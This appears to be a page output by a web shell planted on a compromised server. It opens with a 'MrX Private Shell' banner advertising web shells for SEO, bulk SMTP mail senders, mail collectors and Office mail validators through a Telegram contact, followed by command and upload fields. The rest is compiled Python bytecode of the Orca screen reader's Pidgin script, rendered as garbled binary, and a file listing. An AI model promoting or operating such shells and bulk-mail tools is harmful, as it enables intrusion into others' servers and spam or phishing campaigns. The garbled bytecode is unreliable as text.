__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g����SrSrSrSrSrSrSSKJr SSKJr SS	K	J
r
 SS
KJr SSKJ
r
 SSKJr S
SKJr S
SKJr S
SKJr "SS\
R,5rg)�Custom script for pidgin.z$Id$z
$Revision$z$Date$z#Copyright (c) 2010 Joanmarie Diggs.�LGPL�)�debug)�messages)�gtk)�settings)�AXObject)�AXUtilities���Chat��	Utilities��SpeechGeneratorc�^�\rSrSrSrSrSrSrU4SjrSr	Sr
S	rU4S
jrU4Sjr
U4SjrU4S
jrU4SjrU4SjrU4SjrSrU=r$)�Script�(rc��[U5$)z)Returns the 'chat' class for this script.r��selfs �A/usr/lib/python3/dist-packages/orca/scripts/apps/pidgin/script.py�get_chat�Script.get_chat+s���D�z��c��[U5$)z.Returns the speech generator for this script. rrs r�get_speech_generator�Script.get_speech_generator0s���t�$�$rc��[U5$)z&Returns the utilities for this script.rrs r�
get_utilities�Script.get_utilities5s�����rc�>�[TU]5 URRURR5 g)z1Defines the input event handlers for this script.N)�super�setup_input_event_handlers�input_event_handlers�update�chat)r�	__class__s �rr$�!Script.setup_input_event_handlers:s.���	��*�,��!�!�(�(����)G�)G�Hrc�.�URR$)z=Returns the application-specific keybindings for this script.)r'�key_bindingsrs r�get_app_key_bindings�Script.get_app_key_bindings@s���y�y�%�%�%rc�6�URR5$)z�Return a GtkGrid containing the application unique configuration
GUI items for the current application. The chat-related options get
created by the chat module.)r'�get_app_preferences_guirs rr/�Script.get_app_preferences_guiEs��
�y�y�0�0�2�2rc�6�URR5$)z7Returns a dictionary with the app-specific preferences.)r'�get_preferences_from_guirs rr2�Script.get_preferences_from_guiLs���y�y�1�1�3�3rc�>�[T	U]U5 [R"UR5(dg[
R"URSS5 [R"UR5(a)Sn[R"[RUS5 g[
R"UR[R5n[
R"U5n[
R"UR5HnU[
R"U5:XdM O. SUS/n[R "[RUS5 g["R$[
R"UR5-nUR&R)URUS9nUR+XxS9 g)	z>Callback for object:children-changed:add accessibility events.NTzto ensure tab info is current.z7PIDGIN: Not presenting addition of already-selected tabzPIDGIN:z!does not seem to be a chat window)�obj�string)�voice)r#�on_children_addedr
�is_page_tab_list�sourcer	�clear_cache�is_selected�any_datar�
print_message�
LEVEL_INFO�
find_ancestor�is_frame�get_name�
iter_children�print_tokensr�CHAT_NEW_TAB�speech_generatorr7�speakMessage)
r�event�msg�frame�
frame_name�child�tokens�liner7r(s
         �rr8�Script.on_children_addedQsL���	��!�%�(��+�+�E�L�L�9�9�����U�\�\�4�1Q�R��"�"�5�>�>�2�2�K�C����� 0� 0�#�t�<���&�&�u�|�|�[�5I�5I�J���&�&�u�-�
��+�+�E�L�L�9�E��X�.�.�u�5�5��:� ��(K�L�F����u�/�/���>���$�$�x�'8�'8����'H�H���%�%�+�+����t�+�L�����$��,rc�z>�URRUR5(ag[TU]U5 g)z;Callback for object:property-change:accessible-name events.N)r'�
isInBuddyListr:r#�on_name_changed�rrHr(s  �rrR�Script.on_name_changedo�.����9�9�"�"�5�<�<�0�0��
����&rc�z>�URRUR5(ag[TU]U5 g)z=Callback for object:text-changed:delete accessibility events.N)r'rQr:r#�on_text_deletedrSs  �rrW�Script.on_text_deletedwrUrc�f>�URRU5(ag[TU]
U5 g)z=Callback for object:text-changed:insert accessibility events.N)r'�presentInsertedTextr#�on_text_insertedrSs  �rr[�Script.on_text_inserteds*����9�9�(�(��/�/��
�� ��'rc�z>�URRUR5(ag[TU]U5 g)zJCallback for object:property-change:accessible-value accessibility events.N)r'rQr:r#�on_value_changedrSs  �rr^�Script.on_value_changed�s.����9�9�"�"�5�<�<�0�0��
�� ��'rc�>�[R(d8Sn[R"[RUS5 [
TU]U5 gSn[R"[RUS5 [R"UR5 Sn[R"[RUS5 [
TU]U5 g)z2Callback for window:activate accessibility events.z(PIDGIN: Hack for missing events disabledTNz(PIDGIN: Starting hack for missing eventsz3PIDGIN: Hack to work around missing events complete)
r�enableSadPidginHackrr>r?r#�on_window_activatedr
�find_all_page_tabsr:)rrHrIr(s   �rrb�Script.on_window_activated�s�����+�+�<�C����� 0� 0�#�t�<��G�'��.��8��
���E�,�,�c�4�8�
	�&�&�u�|�|�4�C��
���E�,�,�c�4�8�
��#�E�*rc��>�URnURRU5(a'[R"U5nURUSS9 g[TU]U5 g)z@Callback for object:state-changed:expanded accessibility events.T)�alreadyFocusedN)r:r'rQr	�get_next_sibling�
presentObjectr#�on_expanded_changed)rrHr5r(s   �rri�Script.on_expanded_changed�sV����l�l���9�9�"�"�3�'�'��+�+�C�0�C����s�4��8��
��#�E�*r�)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr r$r,r/r2r8rRrWr[r^rbri�__static_attributes__�
__classcell__)r(s@rrr(sR���#��
%�
�
I�&�
3�4�
-�<'�'�(�(�+�*
+�
+rrN)rp�__id__�__version__�__date__�
__copyright__�__license__�orcarr�orca.scripts.toolkitsrr�orca.ax_objectr	�orca.ax_utilitiesr
r'r
�script_utilitiesrrFrrrkrr�<module>r}sP��* �������5�
�����%��#�)��'�-�F+�S�Z�Z�F+r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 251 B 0644
chat.cpython-313.pyc File 1.49 KB 0644
script.cpython-313.pyc File 7.82 KB 0644
script_utilities.cpython-313.pyc File 3.82 KB 0644
speech_generator.cpython-313.pyc File 2.29 KB 0644
Filemanager